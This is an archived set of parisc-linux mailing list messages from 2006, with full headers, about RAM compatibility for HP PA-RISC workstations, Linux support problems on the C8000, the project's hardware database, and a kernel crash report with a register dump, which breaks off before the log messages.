User-Agent: RoundCube Webmail/0.1b
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: rdWbY3MaeSEkK76WZHQhaXN1IGRvb4Ah
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23416




On Wed, 08 Feb 2006 07:33:24 +0100, Jan-Benedict Glaw <jbglaw@lug-owl.de> wrote:
> Hi!
> 
> I recently got two C200 (thanks Frank!) and I'll probably soon get a
> J5600. Unfortunately all machines are without any RAM. What kind of
> RAM do I need for these machines? Can I transplant RAM from a 712/50,
> a B132L, 735 or 715? Though that's probably not a nice solution, I do
> have these machines used for Linux hacking, but that's probably better
> than no RAM at all :->
> 
> Thanks, JBG

B132L RAM should be fine in the C200s. These are the "new" 72pin ECC SIMMs.

712 and 715 have "old" 72pin SIMMS. The 735 has some weird and ancient
modules used only in 720/730/735/750/755.

I've got a pile of 16MB modules for B/C/D class at home. I could probably
send some to Germany (from Norway) if you're interested. Mail me off-list.

>>From the J5600 info:

Memory
    * 278-pin 120MHz ECC SDRAM DIMMs
    * Takes 256/512/1024MB modules
    * J5000: 8 slots
    * 256MB (1*256) minimum, J5000: 8GB (8*1024) maximum

-Andy

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [Fwd: Parisc - Linux on a HP-UX C8000 machine]
Date: Fri, 10 Feb 2006 00:05:03 -0700
Lines: 54
Approved: news@gmane.org
Message-ID: <20060210070503.GA28772@colo.lackof.org>
References: <1139531824.5272.1.camel@debian>
	<1b137cb70602091651s6e51cb7fq48568fc9afbff654@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624005 18127 80.91.229.3 (22 Nov 2014 02:40:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:05 +0000 (UTC)
Cc: Weicht@mpimp-golm.mpg.de,
 parisc-linux@lists.parisc-linux.org
To: Roel Teuwen <roel.teuwen@gmail.com>
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Feb 2006 06:55:23 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx034) with SMTP; 10 Feb 2006 07:55:23 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DB9047D6CB;
	Thu,  9 Feb 2006 23:55:17 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11803-09; Thu, 9 Feb 2006 23:55:17 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BC61A7D6DD;
	Thu,  9 Feb 2006 23:55:16 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 161D77D6CA
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  9 Feb 2006 23:55:09 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11803-06 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 9 Feb 2006 23:55:08 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 5FE4F7D6A5
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  9 Feb 2006 23:55:08 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 32A4B360018;
	Fri, 10 Feb 2006 00:05:05 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27721-07; Fri, 10 Feb 2006 00:05:03 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 93D3B360014; Fri, 10 Feb 2006 00:05:03 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <1b137cb70602091651s6e51cb7fq48568fc9afbff654@mail.gmail.com>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: jF2eYwpceSEkUL6WZHQhaXN1IGRvb0BW
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23417

Roel,
thanks for forwarding.

On Fri, Feb 10, 2006 at 01:51:16AM +0100, Roel Teuwen wrote:
...
> I see at least a few problems with my C8000 running linux. First of
> all, I did not yet have any time to test it. Secondly, my C8000
> contains PA8900 processors which I don't think anyone has tried yet.

I've been trying some rp3440's with pa8800 processors over
the past 18 monthes and we still have problems with the L2
cache. I'm very slowly making some forward progress on it
but it's nowhere near debugged.

We do think it's related to the use of non-equivalent aliasing
by the parisc-linux kernel. HPUX doesn't do that.

So right now don't expect more than a single socket to work
and still see occasion segfaults.
If more than one CPU socket is enabled, the box will HPMC
with any substatial load that inolves lots of context switching.


> I've added the machine to the hardware database with the plan of
> sending a success/error report to the pateam site and parisc-linux
> maillist later.

thanks!

> By the way, apparently the HWDB doesn't recognize most of the hardware
> in this machine to map it to useful entries. (PA8800 and PA8900 are
> missing for example). I have CC'd the parisc-linux mailing list in the
> hope that someone might know why.

We probably need to clone the new entries from arch/parisc/kernel/hardware.c
to the php/mysql code that drives the HWDB.
Any volunteers?

> I was planning on using Debian but I don't expect the graphical
> interface (I suppose you mean X) to work at all. (even the console
> might not, no tests yet :-) )

I have a C8000 here as well and was told we could probably get
X.org working on it with 2D accelleration. We could get 3D HW accel
if we could get bugs in the x.org/xfree86 BIOS emulation fixed.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Roel Teuwen <roel.teuwen@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [Fwd: Parisc - Linux on a HP-UX C8000 machine]
Date: Fri, 10 Feb 2006 01:51:16 +0100
Lines: 98
Approved: news@gmane.org
Message-ID: <1b137cb70602091651s6e51cb7fq48568fc9afbff654@mail.gmail.com>
References: <1139531824.5272.1.camel@debian>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624005 18137 80.91.229.3 (22 Nov 2014 02:40:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Weicht@mpimp-golm.mpg.de
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Feb 2006 00:51:30 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx010) with SMTP; 10 Feb 2006 01:51:30 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AB25E7D70D;
	Thu,  9 Feb 2006 17:51:25 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10133-09; Thu, 9 Feb 2006 17:51:25 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 935837D6FF;
	Thu,  9 Feb 2006 17:51:24 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AFA397D6F4
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  9 Feb 2006 17:51:19 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10133-06 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 9 Feb 2006 17:51:19 -0700 (MST)
Original-Received: from uproxy.gmail.com (uproxy.gmail.com [66.249.92.205])
	by free.linux.hp.com (Postfix) with ESMTP id CD3557D6EE
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  9 Feb 2006 17:51:18 -0700 (MST)
Original-Received: by uproxy.gmail.com with SMTP id h2so78354ugf
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 09 Feb 2006 16:51:17 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=XcZWWr2DC74qKeR2MKmyA4rXdj556Ci2g3NesdrpPp0jFJEs3BMSDTB2B5YFQS/oLjQSl4lmTuprd1urjbH3uTkzIeRBCDnar5p3RDqvBTTaob63ZGVyd/2Svsf1D/SPARDSd4GalxaR0qgtL6Nyfgbfng9n+3Dmg6mkrjBsMRw=
Original-Received: by 10.48.108.11 with SMTP id g11mr2636402nfc;
	Thu, 09 Feb 2006 16:51:16 -0800 (PST)
Original-Received: by 10.49.2.1 with HTTP; Thu, 9 Feb 2006 16:51:16 -0800 (PST)
In-Reply-To: <1139531824.5272.1.camel@debian>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: xIaZY/BieSEkeL6WZHQhaXN1IGRvbwDf
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23418

Hello Daniel,

> > I read that you are the owner of the HP-UX C8000 machine in the
> > machine list of the PA_RISC Linux website. In our institute we have
> > the same machine and would like to install a Linux on this machine. We
> > tried the Debian 3.1, the gentoo and the Ubuntu HPPA version but
> > without any success.

As you can read on the hardware database website
(http://www.parisc-linux.org/hardware/index.html), the hardware
database just contains links from certain hardware models to specific
devices to help the developers.

It is not a list of supported hardware. For that you will be better
off following the link on the same page :
http://www.parisc-linux.org/hardware/supported.html and
http://www.pateam.org/list.html

> > Is it possible to get some help of you?

I see at least a few problems with my C8000 running linux. First of
all, I did not yet have any time to test it. Secondly, my C8000
contains PA8900 processors which I don't think anyone has tried yet.
I've added the machine to the hardware database with the plan of
sending a success/error report to the pateam site and parisc-linux
maillist later.

By the way, apparently the HWDB doesn't recognize most of the hardware
in this machine to map it to useful entries. (PA8800 and PA8900 are
missing for example). I have CC'd the parisc-linux mailing list in the
hope that someone might know why.

> > Which distribution did you use and which parameters did you set while
> > booting? Does the graphical user interface works in your installation?

I was planning on using Debian but I don't expect the graphical
interface (I suppose you mean X) to work at all. (even the console
might not, no tests yet :-) )

> > I hope you can help us.

Not really, sorry. Someone on the mailinglist might know more or be
interested in hearing about any specific problems you have
encountered.

Best regards,

Roel

> > Thanks, Daniel
> >
> >
> >
> > =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
> >
> > MPI of Molecular Plant Physiology
> >
> >
> >
> > Dipl. Inf. (FH)
> >
> > Daniel Weicht
> >
> > Bioinformatics Group
> >
> >
> >
> > Max-Planck-Institut f=FCr Molekulare Pflanzenphysiologie
> >
> > Wissenschaftspark Golm
> >
> > Am M=FChlenberg 1
> >
> > 14476 Potsdam-Golm
> >
> > Germany
> >
> >
> >
> > e-mail:  weicht@mpimp-golm.mpg.de
> >
> > web:  http://www.mpimp-golm.mpg.de
> >
> > =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
> >
> >
> >
> >
>
>
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [Fwd: Parisc - Linux on a HP-UX C8000 machine]
Date: Fri, 10 Feb 2006 09:44:17 -0700
Lines: 40
Approved: news@gmane.org
Message-ID: <20060210164417.GA5375@colo.lackof.org>
References: <1139531824.5272.1.camel@debian>
	<1b137cb70602091651s6e51cb7fq48568fc9afbff654@mail.gmail.com>
	<20060210070503.GA28772@colo.lackof.org>
	<7d01f9f00602100422v506c56b7v21b18aa57812eff8@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624006 18139 80.91.229.3 (22 Nov 2014 02:40:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:06 +0000 (UTC)
Cc: Weicht@mpimp-golm.mpg.de,
 parisc-linux@lists.parisc-linux.org,
 Roel Teuwen <roel.teuwen@gmail.com>
To: Thibaut VARENE <T-Bone@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Feb 2006 16:34:29 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx070) with SMTP; 10 Feb 2006 17:34:29 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A33F47D67E;
	Fri, 10 Feb 2006 09:34:26 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16231-07; Fri, 10 Feb 2006 09:34:26 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 66D267D67B;
	Fri, 10 Feb 2006 09:34:25 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C75D57D678
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 10 Feb 2006 09:34:22 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16119-09 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 10 Feb 2006 09:34:22 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 2C0FA7D64B
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 10 Feb 2006 09:34:22 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 9FD09360018;
	Fri, 10 Feb 2006 09:44:19 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04036-04; Fri, 10 Feb 2006 09:44:18 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 2DF17360014; Fri, 10 Feb 2006 09:44:18 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <7d01f9f00602100422v506c56b7v21b18aa57812eff8@mail.gmail.com>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: waWeY/N4eSEkNL6WZHQhaXN1IGRvb8C0
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23419

On Fri, Feb 10, 2006 at 01:22:22PM +0100, Thibaut VARENE wrote:
> And btw, I just noticed that the list on pateam.org reports some
> "cache issues" with fast A500. Though we believe firmly that L2 and
> non-equivalent aliasing might be at fault on PA8800/PA8900, I wonder
> if there are still other cache issues, or if the comments on the list
> should be cleared. Any update about that? :)

I don't know. I don't think any problems we've seen recently
can be attributed to caching issues. The most stable kernel
so far seems to be 2.6.13-pa1. But I expect as 2.6.15 gets
more exposure on Debian we'll know if that is better and if
it has any remaining caching issues.

> > We probably need to clone the new entries from arch/parisc/kernel/hardware.c
> > to the php/mysql code that drives the HWDB.
> > Any volunteers?
> 
> This is not that easy. The underlaying infrastructure of the HWDB is a
> really PITA, adding new stuff will probably require a bit more
> hacking. I'll try to figure out what needs to be done and will report
> about it ;)

The upside of pa8900 being the last one is we won't have
to update the HWDB much more. :(

> BTW, if anyone feels like volunteering for a complete redesign of the
> mysql/php infrastructure, please raise a hand!

I'd like to add, the HWDB maintainer doesn't need to be a linux hacker.
If someone from *BSD or HP-UX community wants to maintain it, I
certainly won't object.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Berthold Gunreben <b.gunreben@web.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] crash in mmap.c
Date: Fri, 10 Feb 2006 20:54:42 +0100
Lines: 71
Approved: news@gmane.org
Message-ID: <200602102054.42633.b.gunreben@web.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624006 18141 80.91.229.3 (22 Nov 2014 02:40:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:06 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Feb 2006 19:54:17 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx068) with SMTP; 10 Feb 2006 20:54:17 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3A30A7D687;
	Fri, 10 Feb 2006 12:54:13 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17416-05; Fri, 10 Feb 2006 12:54:13 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E81147D683;
	Fri, 10 Feb 2006 12:54:11 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A3BC97D680
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 10 Feb 2006 12:54:07 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17416-02 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 10 Feb 2006 12:54:07 -0700 (MST)
Original-Received: from smtp08.web.de (smtp08.web.de [217.72.192.226])
	by free.linux.hp.com (Postfix) with ESMTP id C11757D67F
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 10 Feb 2006 12:54:06 -0700 (MST)
Original-Received: from [84.147.233.76] (helo=[192.168.178.20])
	by smtp08.web.de with asmtp (TLSv1:RC4-MD5:128) (WEB.DE 4.105 #340)
	id 1F7eLE-0005fT-00
	for parisc-linux@lists.parisc-linux.org; Fri, 10 Feb 2006 20:54:05 +0100
User-Agent: KMail/1.8.2
Content-Disposition: inline
X-Sender: b.gunreben@web.de
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: PoqeYzAKeSEkNr6WZHQhaXN1IGRvbwA4
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23420

Hi,

I recently played around with gcc-4.1 and glibc to build a glibc with nptl 
support. Unfortunately I don't know right now, where to get current patches 
to glibc (cvs.parisc-linux.org seems to be outdated). But while doing this, 
running binaries with this glibc under gdb crashed my machine, while without 
gdb, the binaries would just segfault. Here is what happened to the kernel 
(2.6.15-rc7-pa0) using the TOC button:

General Registers 0 - 31
00-03   0000000000000000  00000000fff0bdc0  00000000101247a8  0000000000000000
04-07   000000000000688d  00000000102cc568  0000000000000000  0000000000035150
08-11   0000000000000001  0000000000035150  00000000000b5088  0000000000035150
12-15   0000000000035150  0000000000000000  0000000000024000  0000000000035150
16-19   0000000000035150  0000000000035150  0000000000035150  00000000a08841fa
20-23   0000000000000000  0000000000000000  0000000010124554  000000002f59089b
24-27   000000000028e7b0  00000000000f4240  0000000020e6da00  0000000010318010
28-31   000000000000688e  0000000000086c40  000000004bf342c0  00000000101247c4

<Press any key to continue (q to quit)>

Control Registers 0 - 31
00-03   0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07   0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11   000000000000115a  0000000000000000  00000000000000c0  000000000000001f
12-15   0000000000000000  0000000000000000  000000000010b000  00000000f8000000
16-19   00000040a0941653  0000000000000000  00000000101247d8  00000000020008bc
20-23   0000000000000000  0000000000000000  000000ff0004f40f  0000000000000000
24-27   000000000035f000  000000003e9ec000  00000000ffffffff  0000000040001140
28-31   00000000ffffffff  00000000ffffffff  000000004bf34000  0000000010370000
Space Registers 0 - 7

00-03   00000000          00000000          00000000          00000f2d
04-07   00000000          00000000          00000000          00000000

IIA Space                    = 0x0000000000000000
IIA Offset                   = 0x00000000101247dc
CPU State                    = 0x9e000001

messages (/var/log/warn):
